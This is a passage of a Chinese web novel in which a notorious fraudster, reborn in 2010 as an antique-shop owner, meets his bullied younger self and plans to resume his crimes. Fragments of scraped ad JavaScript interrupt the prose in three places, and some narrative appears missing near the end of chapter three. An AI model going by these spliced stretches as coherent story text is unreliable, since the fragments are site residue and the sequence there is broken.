《一篇水仙文》 1. 第 1 章 “8月23日中午10点53分,被警方重点通缉的嫌疑人陆某疑似车子失控导致坠亡,尸体目前还在打捞。具体情况还有待查证,请各位市民稍安勿躁,本台记者项玉将为您持续报道。” 新闻报道一出,无论是上网的还是看新闻的都开始拍手称快。 “那个畜生终于死了。害了这么多家庭,这样死是不是太便宜他了。” “这种杀人狂魔就应该凌迟处死,一刀一刀的刮干净,他害的那些小女孩现在还有很多下落不明,也不知道是死是活。” “动用了这么多警力,启用了A级通缉令都没有抓住他。现在也算是老天爷开眼。” “死的好,真是天理昭昭,报应不爽啊。有没有人去案发地点投臭鸡蛋的,一起组团。” 陆离,南宁S级重点通缉嫌疑人,年龄25岁,擅长催眠和心理操控,三年来利用医疗犯罪和地下交易受害者共339人,其中死亡人数高达97人,还有83人下落不详。 老警察一边说,一边指导实习的男警记录案件现场的情况。 实习生在记录本上写了几笔,又将目光看向已经面目全非的废弃车辆。 或许已经不能再称之为车,就像是一堆破铜烂铁堆在那里。 “那个人真的就这么死了?”他嗫嚅地开口,“就这么......死了?” 虽然实习警察才刚来到公安部门,却在警察学院的时候对陆离就早有耳闻,怎么也没有想到,这令人闻风丧胆的通缉要犯会以这种方式消失在世界上。 这也太戏剧性了,突然来这么一下,有点让人难以相信。 老警察知道这个实习生在想什么,他追击了陆离三年,他也不免产生一种太过容易得唏嘘感。 他皱了一下眉,看向被冲烂的悬崖,锐利的眼轻眯了一下。 后来,警方在破铜烂铁的车子上找到了一张已经损毁的差不多的杂志,很多内容都看不清了,只有一块保存完好。上面写着媒体最喜欢问的问题。 【若是你回到十年前,看到小时候的自己,你会对他说什么或者做什么?】 老刑警拿着镊子,准备把这个没什么用的杂志装进证物袋里,却不小心瞥到下面有一行字。 黑色的字迹已经被水晕开了,但还是可以辨认出上面的内容。 ——我会杀了我自己。 * 这天色灰扑扑的,乌云顺着天穹像是要直愣愣的压下来,显得格外阴郁又沉闷,像极了陆离此刻的心情。 他身上还穿着医院的病员服走在路上,周围的行人朝着他投来了好奇的目光。 陆离对着这些目光置若罔闻,他皱了皱眉,目光落在街头的那些花花绿绿的牌子上。 其中有一块牌子上写着2010年迈进了新世纪第十年——后面的话他看不清了,目光只停留在醒目的2010上。 路上的车辆很少,大部分的人都骑着自行车,穿着朴素的衣服,映衬着后方的建筑都变的灰扑扑的,这些景色都被收进一双阴郁的眼睛里,陆离实在是没有忍住,极度无语地嗤笑了一声。 他堂堂第一诈骗天才,竟然因为车子失控摔到海里死了。再睁开眼竟然回到了十年前,重生到了一个名不见的小青年身上。 生前的恶事不仅没有人记得,相当于白干了十年,他都能想到那些媒体会怎么报道他这个奇特的死亡方式。 越想越憋屈,这种心情看着哪里都不顺眼,他站在路中央,身边的自行车大队飞快地掠过,像是一场梦。 “要死了你。站在中间要给你哪个爹赶去投胎。” 刺耳的喇叭声在身后响起,陆离这才从虚幻的感觉中脱离出来。他冷淡的向后瞥了一眼,刚才还骂骂咧咧的男人在触及他眼神的那一刻,骂声逐渐小了下去。 直到离开好几步路,男人才敢小声的骂了一句:哪家精神病院又没关好。 陆离看了过去。 男人瞬间落荒而逃。 周围很快就剩他自己,即使有人经过也专门避开他。陆离低头皱着眉扯了扯身上的蓝白相间的病号服。 虽然他不在乎这群愚蠢的人类的眼光。 但这衣服实在太丑。 他走了几步路,最后目光落在街头一所看起来还不错的服装店招牌上。 店员是个年轻的小姑娘,穿着白色的衬衫,扎着高高的马尾,年龄看起来不超过二十。陆离进去的时候,她正坐在一旁的收银台上昏昏欲睡,可能听见动静,抬头看见陆离穿着病员,吓得一个机灵站了起来。 “先生。” 那惊恐的模样八成也是把他当成了精神病。 陆离只瞥了一眼,接着在店里看了一圈,衣服倒是不是大街上人穿的那么花里胡哨的,他随手挑了一个简单的款式:“你好,请问试衣间在哪?” 小姑娘指着隔壁的房间,见新来的人说话正常,她松了一口气,收起了刚才害怕的情绪,然后站在一旁等着。 十分钟后,试衣间的门再次被打开,陆离拉开窗帘,从里面走出来,小姑娘原本困的迷糊的大脑一下子就清醒了。 换下那身病号服,这位顾客看上去简直像是换了一个人,脸还是那张脸,整个人的气质却像是脱胎换骨,带着点矜贵的散漫。 小姑娘径直的走过去:“这身衣服穿在您身上简直太好看了,就像是给您量身定做的。” “谢谢。” 礼貌又疏离的回答了一句。 “先生,要穿着走吗?”小姑娘在一旁询问。 陆离点头,交了钱转身就要离开。小姑娘抓紧喊住他:“先生,你换下来的衣服还没有拿。” “麻烦帮我解决掉,谢谢。” “里面好像还有东西。” 陆离闻言脚步顿住,回头看到小姑娘在病号服的上衣口袋里摸出来一个名片。 他走过去,将名片接了过来。 【城南古董店 经营人:傅生 地址:通天街南首117号】 陆离的眼睛眨了一下。 他在病房的时候,就听到护士叫过自己这个名字,所以这个身体的主人名叫傅生。 好名字,很符合他现在的状态。 傅生很坦然的接受了这个名字。 在医院里醒来之后,就在身上搜刮出这几百块钱的家当,买衣服去掉一半,现在所剩无几。 傅生指间捏着名片,淡定的放进 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己的外套里,对着小姑娘店员笑了一下,转身走了出去。 直到他整个人消失在街道,小姑娘才回过神来。刚才那人看她的时候,人虽然是笑着的,猛然一看或许觉得温和好脾气,但是那双眼睛却冷淡地吓人,像是某种冷血动物的眼神。 小姑娘站在门口拍了拍胸口,想不明白长这么好看怎么这么吓人。 傅生没有想到这个城南古董店的牌子还挺大,这个年代有这个大的古董店,不用说肯定是富裕人家。 他站在门口对着牌子端详了一会,抬脚进了古董店,还没进去,就听到了房间里争的声音。 傅生走到老式的窗户前,站的位置,隐约可以看到大堂的几个身影。 大堂里四个人,一对中年夫妻抱着个孩子,还有一个年迈的长者坐在招待客人的八仙椅上。 那对夫妻的男人说:“古董店放在他手里就是暴殄天物,爹,不是我说,你看这小子开张半年有卖出去过一件商品吗?” 女人抱着孩子向前一步,脸上的表情看不清,气势却足:“是啊老爷子,傅生是您的亲孙子是不错,我们这边也是亲的,你这偏心的也太过了吧。” 老爷子刚开始紧抿着唇不说话,后来男人女人的声音越来越大,他嘴唇抖了几下,脸色越来越差,最后用拐杖使劲的敲了敲地。 “住口,你们都给我滚出去,当初的时候我是不是让你们挑要店铺还是钱,你们嫌弃这里的铺子太偏,现在钱花光了,又来要傅生的铺子,给我滚,都给我滚。” 那个男人不知道是不是心虚,声音显然比刚开始低了很多:“爹你这扯得就有点远了,我这不知担心这个铺子在傅生手里糟蹋了。” “是啊老爷子,”女人又接话,“也不是我说,傅生这孩子好像真的和旁人不一样,天天躲在房间门都不出,十天半个月的连句话都没有,这次更好了一次吞了这么多安眠药要不是发现的及时发现—— “你给我住嘴,这铺子是傅生的,谁也别想抢。” 傅生看到这里差不多能理清这几个人的关系了。 女人却没有停止,嗤声道:“说句不好听的,这不就是有精神病,你要把铺子留给一个精神病也不给自己的亲儿子是吧。” 剧烈的咳嗽声传出来,老爷子弓着腰开始疯狂咳嗽,几乎要站不住。 那个女人还想再说些什么,旁边的男人用手捣了她一下,提高声音吼道:“你别先说了,爹都气成什么样了。” 男的手劲大,女人被捣的后退了两步,怀里的孩子开始哇哇大哭。女人也不管怀里的孩子,对着男人就是一巴掌:“傅宇阳好啊你,你敢推我。你个怂包自己没本事只会推我,你要是有本事还能把铺子给那个精神病了?精神病,精神病,我就说他是精神病怎么了?还不让人说实话?” 小孩还在哭,老爷子咳嗽更厉害了,房间内几乎一瞬间填满了各种声音,差点把房顶掀了。 傅生被吵的皱眉抓了一下耳朵,这才不紧不慢地走进去:“抱歉打扰一下。” 这话一出,他感觉房间内声音停了,几个人目光同时朝他看了过来。 傅生弯着眼睛看着他们,姿态礼貌:“你们刚才提的精神病是在说我吗。” 2. 第 2 章 拄着拐杖的老爷子率先反应过来,可能是年龄大了,他浑浊的眼神落在傅生的身上的时候,像是流露出一种愧疚的情绪。 “傅生?你怎么从医院出来了?” 傅生淡淡道:“嗯。” “病哪能好这么快,快回去——”刚说完这句,傅老爷子先是愣了一下,接着眼眶一下子红了,“——孩子,你终于肯理爷爷了……” 终于? 傅生眯起了眼睛,感觉这句话的信息量还挺多。 不过傅生也没有多看他,反而眼睛看向旁边站着的两个人:“这两位是?” 傅老爷子的喜悦还没有来得及表露在脸上就戛然而止,他拄着拐杖,眼睛惊慌又带着点不可置信地朝着傅生走了过去。“你不认识他们?他们是你二叔和二婶啊。孩子,你别吓爷爷。” 傅生姿态得体地对着年迈的老爷子,说出的话却很是残忍:“那真是抱歉,在医院的时候感觉自己忘了一些事。对了,忘了问了,不知您是?” 同样被震惊得说不出的话的还有房间里的那位被称二叔二婶的人,他们刚开始只是发愣,直到片刻反应过来,傅宇阳狂喜地看向傅老爷子:“爹,傅生看起来是失忆了。” “失忆?人好好地怎么会失忆。”傅老爷子后退了两步,拐杖扑腾一声掉在地上:“生儿,你还记不记得我是谁?” 傅生站在阴影里,抬起头来打量眼前的老头。 老爷子因为不知道因为难过还是激动,干涩的嘴唇微微颤抖。 “你是——”他顿了一下,目光看向三人,在他们各怀鬼心的期待中缓慢地道,“如果没有猜错的话,你应该是这个家里的当家人吧。” 他并没有继承这个身体的记忆,与其之后让人盘问,不如一开始就声明自己不记得。 老爷子眼睛里的光瞬间暗了下去,只有被称二婶的女人神采奕奕,眉梢都笑了起来:“我说爹,现在傅生都失忆了,现在总可以把这个店给我们了吧。” 傅宇阳也笑,那双不太清澈的眼睛此时露出一种憨厚的精明算计。“是啊爹,让傅生好好地回家休息。我们来经营这边。” 两个人说完,傅老爷子敲着拐杖砰砰作响:“这个铺子是他爹留给傅生的,你们连孩子的东西也要抢!” “话不能这么说,”女人说,“这不是开张半年,傅生一点东西都没卖出去,这铺子留在他手里岂不是暴殄天物。” 傅宇阳附和:“是啊,我们也是为了傅家着想。” 傅老爷子被气得又开始剧烈咳嗽,直到从刚才起就事不关己的傅生起身,目光在古董店环视了一周,似笑非笑地开口道:“那我今天若是卖出去了呢 ?” 傅宇阳没想到傅生会开口,毕竟他这个侄子以前看到人多都会发抖,以至于他话到嘴边被绊了一下:“那你若是卖出去的话……” 他媳妇嫌弃地看了他一眼,将话接了过去:“你今天若是能卖出去一件,我们两个以后再也不提这个铺子。” “行。”傅生表情不变。 老爷子想要阻止他,老二的媳妇抓紧开口:“若是你卖不出去呢?” 傅生长得本就高挑,现在站在那里,腰杆直挺,竟然平白生出几分沉稳的优雅,他缓慢开口:“卖不出去,店归你们。” 对面两个人扑哧一声就笑出声,女人小声说:“还以为他病好了,没想到是变傻了。” 傅宇阳比了一个手势,示意他媳妇小声点,但最后也没忍住,开心道:“明天这个铺子就是我们的了。” 傅老爷子在一旁叹气,“糊涂啊生儿。” 古董店的位置有点偏,几个人说话的时候,外面寂静的巷子里竟然开始热闹起来。 “哎哟,这不是陆家的那小子!这是干什么去。” 几声刺耳的嘲笑的声音响起,那个男人嘴里没停:“怎么,不服气,你瞪什么瞪,就你这样还敢瞪我们,你爹欠我们的钱你替他还怎么样,我看你这脸长得不错,不如——。” 话还没说完,就出现男人嘶声裂肺的尖叫。 “陆离,你他妈的狗东西!龙哥,他咬我。” “瞧你那点出息,”被称为龙哥的男人声音阴鸷,“你们几个把他给我带到那边。抓结实了,别让这小子又跑了。” 傅生原本还带着笑,目光在外面定定地看了眼倏然沉下脸来,他抬头看着那群人浩浩荡荡离开的身影,冷声说:“我出去一趟。” “他什么去了?” 傅宇阳看着傅生离开的背影说:“拉客来买古董吧。” 两个人说着,脸上又开始藏不住笑意。 刚才傅生走的方向是北川出了名的穷人区。 饭都吃不饱,哪家的穷人会拿着钱买古董,疯了啊。 果真是吃太多安眠药,把脑子吃傻了。 * 北川最出名的,就是通天街228号的松里弄堂,不是以建筑景色出名,而是以穷出名。 还没有进去弄堂口,便能看到草席,长凳,躺椅接连一片,里面有着数不清的人,睡觉的,打牌的,吵架的,还有嗑着瓜子看热闹的都在这狭窄的弄堂里,四四方方地困在一起。 傅生站在巷子里,一直挂在脸上的欺诈人的笑不知道什么时候候丢了,只剩下那双黝黑的眼睛冷漠地看着前方。 巷子深处,十几岁的少年被一群人围住。 “刚才不是挺能耐的吗,这会儿怎么不说话了,”穿着大花裤衩被称为龙哥的男人居高临下地看着人,手中的棍子敲在男生的头上。 被围着的少年穿着校服,头发有些长了,半遮住眉眼,白皙的皮肤上大大小小伤痕和清淤很是显眼。 傅生面无表情,在社会上混了这么多年,早就没有事情能引起他情绪起伏。 他只是看着,冷漠地注视着这一切。 陆离被束缚住了手脚,抿着唇不说话,只用那双眼睛不服地瞪着人,旁边的混混受不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了他的眼神,一脚踹在他肚子上。 “大哥,别给他废话,直接打,打到他给钱。” “是啊龙哥,这小子这么不老实,那就别给他客气了。” 龙哥闻言低头,目光在少年身上端详了几圈,伸手在他脸上拍了几下:“你爹欠的钱,准备什么时候还?” 陆离满脸戾气地瞪了回去:“我没钱。” “没钱?”姜龙伸出条胳膊,拽着陆离身上的校服将人半拉起来,“你他妈再说一声?” 傅生也看着这个男人身上的文身,想起来这个人是谁。 这个男人是松里有名的混混,姜龙。 平日里在周边放高利贷,雇了一堆游手好闲的人专门替人讨/债,周围的人害怕他们,只能躲着。 他也怕,但他躲不掉。 因为他是赌鬼的儿子,每次被那群混混堵截羞辱,他只能倔强地瞪着人,不敢露一点害怕和胆怯。 ——从几岁的时候他就知道,别人都有人护,他没有。 陆离虽然年龄小,但是又闷又倔,也不说话。 姜龙一胳膊将人摔在墙上,强大的臂力让陆离大脑蒙了一下。 姜龙说:“你要不把你爹喊来还钱,要不挨揍,选一个。” 陆离唇角青紫,透过眼前的碎发看着人,乌黑的眼睛死盯着他:“你要不现在就揍死我,要不等以后我弄死你。”。 姜龙眯了一下眼,阴沉下去。 “行,有骨气。” 他从兜里掏出一根烟点上,对着身后小弟摆手:“交给你们了。” 拳打脚踢的声音在安静的巷子里很是刺耳,陆离愣是咬着牙没吭一声,只有一双眼睛恨恨的盯着姜龙。 混乱中不知道谁拿着铁棍,狠狠地抡在他肚子上,陆离感觉一股子铁锈在喉咙处升起,他下意识地蜷缩身子。 十分钟之后,姜龙抽完烟,扭头看见那群小弟下手也没有个轻重,身下那小子佝偻着身子竟然没有了动静。 他妈的这群笨蛋别把人打死了。 他皱眉出声:“行了别打了。”他走过去用脚踹了一下人,见还有气,这才出声:“没死吧,小子,回去告诉你爹,再不还钱,就不是打一顿这么简单了。” 那群人十分嚣张地离开。 巷子里血腥味消散开,傅生也不知道自己在这里干什么,看以前的自己被人揍? 半晌,他冷着脸走过去,居高临下地俯视着地上躺着的人。 陆离胳膊上原本就有伤口,现在更严重,几乎找不出一点好地方,就连那张好看的脸,额头和脸颊也都是擦伤。 傅生俯身伸手触碰陆离脸上伤口,碰到的那一刻,他明显感觉到陆离身子抖了一下。 修长的手指上沾染上黏腻的血迹,那抹红倒映在他墨色的瞳孔里,又在瞳仁的最深处化开。 他的表情却逐渐变得阴鸷,声音阴沉,冷声嘲讽:“这么能逞强,结果就这点能耐?” 3. 第 3 章 陆离原本以为是那群人去而复返,直到抬头看清楚人,愣了一下。 眼前的人长得太好看了,以至于他忽略了这个人刚才粗暴的动作。 “他欠了你多少钱?”少年强忍着痛意,眼神里充满戒备。 他没钱还,所以只能被这些要债的人一遍一遍地打。 最开始的时候,他才十岁,他当时是尝试过报警。 但是很快他就发现报警没用,警察说:“要债是民事纠纷,我们没有资格管。” 混混们在看守所待上几个小时就会被放出来,放出来之后是更狠的毒打。 傅生眉眼阴郁,他目光下移,最终落在少年穿着的被洗的起了毛边的校服上,校服的衣摆此时和自己身上价值不菲的衣服交叠在一起。 “痛苦吗?”他突然蹦出来一句。 陆离没听清楚,抬头看他:“什么?” 傅生没说话,只是想起了之前在杂志上看到的一个问题。 【若是你看到十年前的自己,会做什么?】 ——我会杀了我自己。 他眸中的那团墨色逐渐加深,手缓慢落在少年的脖子上。 陆离瞪大了眼睛,似乎没有想到眼前人模人样的比混混还要狠。 他挣扎了几下,但因为手脚都被束缚着,所以只能一口咬在傅生的手上。 浓重的血腥味在嘴里化开,陆离像是一只拼死一搏野兽,那双乌黑的眼睛发狠地瞪着人,似乎只有这样才不会被敌人看轻一点。 ——他以为这样会彻底惹怒眼前的人,没想到他却笑了。 傅生弯着眼睛,看了一眼自己手上被咬出来的血迹,半晌松开手:“属狗的么?” 陆离不说话,满眼戒备看着他,少年乌黑的眼睛被夕阳折射出琥珀的颜色。 傅生站在阴影里对上那双眼睛,没有比这一刻更清楚地意识到,现在他和以前的他,已经是不同的两个个体。 以前的他怎么样,和现在的他没有任何关系。 他改变不了过去,也阻止不了未来。 傅生起身拿着手帕将手上的血一点一点地擦拭干净,丢在垃圾桶里,一句话没说转身离开。 一直到快走到巷子尽头,他才听到身后传来窸窸窣窣起身的声音。 夕阳穿过巷子,光影将两个人分割开,一半明一半暗。 * 傅生回去的时候,他二叔和二婶还没走。 那夫妻俩看见他,眼睛滴溜溜地在他身上打了好几个转。直到看见身后没有其他人,只有他自己,两口子不约而同地露出笑意来。 “傅生回来了?怎么样啊?”傅宇阳假模假样问,“找到买你古董的人了吗?” 傅生看了他们一眼,没有理人。径直地走到傅老爷子面前。 傅老爷问:“生儿,你找到人了?” 傅宇阳两口子站在一旁,一动不动地盯着他。 傅生:“没有。” 身后的两个人闻言明显地松了口气。 傅生没有去拉人,回来的时候倒是把傅家的情况摸得一清二楚。 傅家在这北川倒是数不上多富裕,却算得上书香门第,傅老爷子有两个儿子一个女儿。 老大傅渊留学回来就做起了古董生意,一年后和药商的独女沈静姝结婚,在傅生五岁的时候,两个人因为去海上运输货品出了事故,再也没回来。 老二傅宇阳和本地姑娘吴倩结婚,结婚之后要求分家,分走了大半部分钱款后,不到一年的时间,那些钱就被挥霍一空,所以又将目光放在了这间古董铺子。 人总是贪心不足啊,要了这个就想要要的更多。 傅生从上一世就深知这一点。 眼见着傅生不说话,吴倩抱着孩子向前一步:“傅生,不要说二婶欺负你,现在时间可是快要到了。你不会想要耍赖吧?” 傅生低头,伸手将袖口的扣子扣上,“耍赖的标准是什么?”他抬头,黝黑的眸子注视着眼前的女人:“若是我刚才带回来一个人买我的商品,这样算不算耍赖?” 那双眼睛盯得吴倩一愣,下意识地后退了一步,但是很快她就恼怒地看向傅生。 傅宇阳皱眉说:“傅生啊,你说话要讲究逻辑的啊,你带回人买古董,二叔怎么会说你耍赖?” 傅生说:“你怎么知道那个人不是我找来的托?” 那张脸带着轻微的笑意,却不是和煦地笑,反而像是一种嘲讽,傅宇阳却当即红了脖子,他确实是这么打算的,若不傅生没有带回来人当然更好,要是带回来人,他就咬死了说这个人和傅生认识。 反正无论如何,这个古董铺子都是他的。 傅老爷子活这个大岁数,当即反应过来是怎么回事。他敲着拐杖砰砰作响,指着傅宇阳骂道:“你这个混账,你就这么算计你大哥留下来唯一的孩子。” “爹,本来就是这个道理,若是随便带来一个人我怎么知道……”他说话的声音越来越低,甚至最后直接噤了声。 ——因为此时傅生正冷漠地看着他。 傅宇阳现在才真真实实地感觉到这个侄子自从在医院里出来真的和之前不一样。 原本怯弱的脸如今再看竟然下意识地让人发怵,尤其是那双眼睛,盯着人的时候像是深不见底的深潭,又像是无边无际的宇宙,要把人吸进去。 “很好,”傅生看着他,缓慢地开口,“二叔,你看古董店的东西有没有想要的?” 吴倩皱眉,接着不可置信地嗤笑一声:“傅生,你该不是想把店里的古董卖给你二叔吧?” 她简直觉得眼前的这个人疯了,就算没有这个赌约,傅宇阳也不会买这个店的任何东西。 只是她刚说完,傅宇阳脸上先是出现了一瞬间的迷茫,接着转身走向了旁边的货架子。他一艮一艮地重复傅生刚才说的话:“我去看看有没有我想要的。” “傅宇阳,你疯了!”吴倩提声。这一大声说话,又吓哭了她怀中的孩子。她哄也不哄,伸手却拽傅宇阳。 一个男子的力量却不是女人能比的,傅宇阳没有丝毫的停顿,反而带得吴倩踉跄了几步。他径直地走向旁边的货架子上,随手拿起了一个货架子上的文玩石头。“这个不错,我要这个。” 傅生不紧不慢地走了过去:“二叔眼光真不错。我给你按便宜点2000块,刷卡还是现金?” “一个破石头要两千?”吴倩随手将孩子塞进了老爷子手里,过去拽着傅宇阳的领子,吼道:“姓傅的,你今天要是敢买,我就给你离婚。” 傅宇阳的眼睛都没有眨:“刷卡。” 一直到密码输完,卡里的钱已经提示划出去,傅宇阳才像是在睡梦的状态醒来。 “傅宇阳,老娘今天一定给你离婚,这日子我是一天不给你过下去了。” 这次的哭闹发疯却没有得到傅宇阳的安慰,他先是低头看了看石头,又扭头看了一眼旁边站着的傅生,看着他眼睛里的寒光像是退潮一样地散去,又挂上笑意。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >傅宇阳的脸色瞬间惨白。 他一把抓着吴倩的手,又从傅老爷子怀中抱过孩子:“走,现在就走。” 吴倩嘴里还在骂着,话越来越粗鄙,傅宇阳头一次没有搭话,只一股脑儿拽着人,抱着娃飞快地朝着外面走。 傅老爷子从刚才起就没有再说话,一直到房间里只剩下两个人,才带着试探开口:“生儿,刚才你二叔……” “可能是二叔突然良心发现,决定把铺子让给我。”傅生不太在意地开口。 这个答案很显然不太让人相信,可傅生站在那里,那姿态却不像是一个说谎者。 傅老爷子也没有敢多问,因为他敏感地感觉到他这个孙子,比之前更疏离了。 “今天不跟我回主宅那边吗?”他问。 “哦,改天吧,”傅生说,“古董店几天没来,上面都落土了。” 傅老爷子眼睛艰涩地动过了一下:“那你在这边注意身子,刚出院,别太累了。” 傅生礼貌地回了几句,然后看着傅老爷子拄着拐杖出了门,身子愈发佝偻。 傅生淡漠地看了几眼,收回了目光。 * 古董店的二楼是傅生住的地方。 他顺着楼梯上去,发现二楼的空间并不小,里面的东西非常简洁,除了基本的生活用品,其他的东西连一件都没有。 傅生平日里过惯了花钱不眨眼的日子,猛然乍贫还有点不太适应。 古董店生意看起来不景气,要是想弄钱过上上辈子的富足生活的话,看来还是需要走老本行。 就是他的好搭档,不知道现在过得好不好。 傅生想到这里,眼中先是沉郁,半晌却又突然笑了一下。 现在是2010年,各式各样的反诈宣传还没有开始,大街上也没有摄像头,治安更是不用说了,这不正是他们现在大展宏图的机会。 这么一想,傅少年便没有时间再埋怨这里简陋的环境了。当然,他的伟大宏图并没有想太久,可能因为住院对身体的损伤太大,他很快就沉沉地睡去,陷进了一个不太美好的梦里。 他又回到自己坠海的那天。 他开着车,车上的电话响个不停,他眯眼按了接听键。 “如果你想知道你朋友的死因,今天来南滨海湾。过期不候。” 到海湾的时候,海边空无一人,只有那天的风很大。浪花剧烈地拍打着海岸,像是在嘶吼着什么。 他把车子停在路边,看着路口的摄像头,回拨了电话过去:“我到了,你在哪?” 电话那边只有呼啸的海风,很快,那个男人才说:“我就在你身后。” 还没等他反应过来,几乎是一瞬间,一辆大车行驶过来直冲冲地撞向他。 或者说,这辆大车就是冲他来的。 车子承受不住大车的冲力,瞬间压得变形,剧烈的撞击声让他大脑一瞬间失去了思考,耳边的轰鸣像是有人拿着锤子一下一下敲在脑袋上。他感觉意识在渐渐抽离自己的身体。 可能是一瞬间,也可能是很久。 他感觉到有个人打开了车门,一双手在他的衣服上摸索,像是在找什么东西。 他用力地睁开眼,四周都是模糊不清,唯一能看见的就是眼前那双修长的手。不知道是不是回光返照,一阵耳鸣目眩之后,那双手的细节开始在自己眼前放大。 ——那双手的中指上戴着一个蛇环戒指,蛇头上镶嵌着一颗绿翡翠,像是毒液一样蜿蜒进他的眼睛里。 4. 第 4 章 一声剧烈的响声将傅生从噩梦里拉了出来。 他坐起身,拿起旁边的外套,缓慢地走下楼。 刚到楼下,就看到满地的玻璃,西南角的窗户不知道怎么碎了。 傅生走过去,不用仔细看,就在一众的玻璃碴里将罪魁祸首——一块拳头大的石头。 他拿着石头端详了片刻,不用猜就知道是谁干的。 这睚眦必报的性格他本人是相当熟悉。 傅生扯了一下唇角,不甚在意地将石头丢在架子上。 此时天色还没有亮,周围黑暗,落地的灯光照在沙发的那一小块范围,傅生随意披上外套,坐在沙发上。 说来也怪,他之前只要被吵醒就再也睡不着的毛病竟然也跟到这副身子上面。 傅生揉了揉眼眶,睡觉是不可能了,他干脆拿起桌子上的报纸打发时间。 翻了几页,他的目光停留在一个标红加大的标题上。 ——著名医疗企业华盛医疗将于九月二十日来北川进行商务演讲。 他眉间颦起细微的褶皱,思考了片刻。 九月二十,那不就是今天? * 华盛集团的演讲开在一个大型的商场内,门口有接待的人,两个说话的大妈挎着篮子想要进去,却被门口男人伸手拦截住。 “你好,有邀请函吗?” “什么邀请函,我就进去买个菜。” “你好,没有邀请函不能进。” 两位大妈挎着篮子瞬间对着门口人员火力全开,只是门口站着的人眼观鼻子鼻观心,全程就一句话。 “你好,没有邀请函不能进。” 傅生穿着昂贵的衣服,举止得体地出现在门口,他微微对着人笑了一下,正想着怎么忽悠自己没有邀请函的事。 门口的人见他过来,却什么都没有问,径直地打开门:“先生,你是来参加活动的吧,请进。” 傅生一挑眉,礼貌地说了声谢谢,淡定地走了进去。 两个大妈见此不干了:“他也没有邀请函,为什么进去了?” 门卫站好,例行公事:“这位先生是参加活动的贵宾,不需要邀请函。” 大妈不服:“他什么都没有拿,哪里看出来的是贵宾?” 门卫眼高鼻子低地瞥她们一眼:“刚才的先生无论是穿着还是气质,都不像是蹭吃蹭喝的人。” 大妈这么一听更来气了。 这话说得就像是她们是进去蹭吃蹭喝的一样。她们唾了一口,骂道:“我看你们就是看人下菜,等着被投诉吧。” 傅生走进门的时候大堂里已经坐了挺多人,台上的人已经开始介绍起他们的企业文化。 “我们华盛集团是一所专门研究心理疾病和女性健康的集团——” 他随意找了一个最后排的座位落座,手里拿着活动准备好的饮品不紧不慢地喝着,然后就看到侧门有个眼熟的身影。 那张脸不用仔细瞧就知道是谁。 陆离冷着脸穿着校服像是被人欠了五百块来讨债的,刚迈进来,就被一个保安喊住。 “你这个小孩是怎么进来的。” 保安飚着一口不知道什么地方的方言,看着陆离身上的伤口,下意识地颦眉,八成把人当成小偷混混之类的。 陆离不解释也不说话,只是一言不发地向前走。 “你个瓜娃子,我都说了这地方不是你来的,”保安掏出棍子吼道,“给我出去。” 原本大厅就静,这一声,所有人都看了过去。 商场的经理站出来,提声呵斥:“保安,怎么看的人,什么人都向里放。” 领导一发火,保安怕丢饭碗,几个人快速地围了过来。 傅生饶有兴味地在后面看着。 没想到这个角度看之前的自己是这种感觉。 那张脸年龄不大,脾气却臭。 虽然在现在的他看来,执拗得可笑。 陆离身上本来就有伤,比不过几个成年男性的围堵。 他被人抓住胳膊,死死地按在墙上。 保安:“说,来干什么的。” 陆离咬着唇不说话,乌黑的眼睛却死死地盯着最前排的医生。 经理面色很难看。 今天来的都是社会上有身份有地位的人,岂能让一个小孩搅了场子。 他挥挥手,刚想吩咐保安将人丢出去,却不知陆离哪里来的力气,在几个人手中挣脱出来。 现场瞬间混乱,陆离为了躲避追捕的保安,在大堂里转了一大圈,跑到后排的时候,被一双手抓住。 他刚想挣扎,身后的人悠悠地开口:“老实点,不然把你丢出去。” 陆离一愣,回头一看,果然是冤家路窄。 傅生抓着他的手。 按照陆离之前的性格,应该给眼前的人两拳,只是他还没有动,对方就像是提前知道一样,轻而易举地就将他的另一只手也束缚住。 傅生看着他,眼神嘲讽,“这么笨还敢学别人硬闯?” 陆离瞪他:“关你屁事。” 傅生笑容更大。 这时,保安对着经理喊道:“人在这儿呢。” 经理赶过来,撑着膝盖粗声喘了几口气,狠声说:“将这捣乱的小子给我带到那边空房子里。” 保安前去抓人。 一个穿着西装,身材英挺的男人将他们拦住。 “抱歉,等一下,”傅生向前一步,“好像贵商场没有资格私自抓人吧?” 经理怒:“这臭小子捣乱我们怎么就不能——”他一顿,不大的眼睛先是上下打量傅生,看他穿着和气度皆是不凡,目光倏然变得戒备:“你是他什么人?” “我是他什么人?”傅生笑了一声,回头看向陆离,慢悠悠地说,“我是他哥。” 陆离脸色很臭。 狗屁的哥。 经理一脸怀疑:“哥?他刚才在商场乱窜你没看到?” 傅生从善如流:“没看到。” 经理:“……” 他以为对方最起码会表达一下歉意,这么理直气壮模样是什么意思?他决定再给对方一个下马威:“怎么证明你是他哥?” “简单,”傅生笑了一下,扭头看着陆离,姿态很是从容,“喊人。” 经理:“?” 陆离:“…………” 他脸上表情更臭了。 傅生弯着眼睛看他。 其他人在一旁在旁边大有一番不喊人就抓人的气势。 陆离紧抿着唇,最后在众人的眼光里只能从牙缝里挤出字:“哥、哥。” 傅生移开目光,看向经理:“这样行了吗?” 经理:“……” 这样能证明个屁。 他目光在两个人身上转,这两个人根本不像是兄弟,长得也不像,还有穿的衣服也不是一个档次的。 但是今天的人太多,事情闹大了对他也没有好处。 他不忿地警告:“看好你弟弟。” 傅生弯了一下眼睛,道一声谢谢。 虽然话是礼貌,语调却听出一点感谢的意思,经理从来没有受过这气,憋得脸通红。 保安没眼色地凑上去:“经理,人不抓了?” “抓,”经理怒道,“抓你的大头鬼,一群废物。” 这边安定后。 傅生对着陆离指了指旁边的座位:“坐这里。” 陆离站在一旁不动。 “不听也行,”傅生说,“只要一会,你自己可以靠近这些医生,还能自己去诊疗室。” 这次的活动,邀请了一众社会上有头有脸的人物,活动完成之后,有一次义诊,都是专家坐镇。 尤其是这次的心理医生,在那个时代,不要说北川,在全国有名的心理医生都少之又少。 陆离就是为了这次的义诊来了。 傅生很清楚的知道他来的目的。 他随意地坐着,姿态非常优雅得体,和身边抿着唇握着拳的陆离形成鲜明的对比。 很快陆离就败下阵来,冷着脸乖乖的坐在一边。 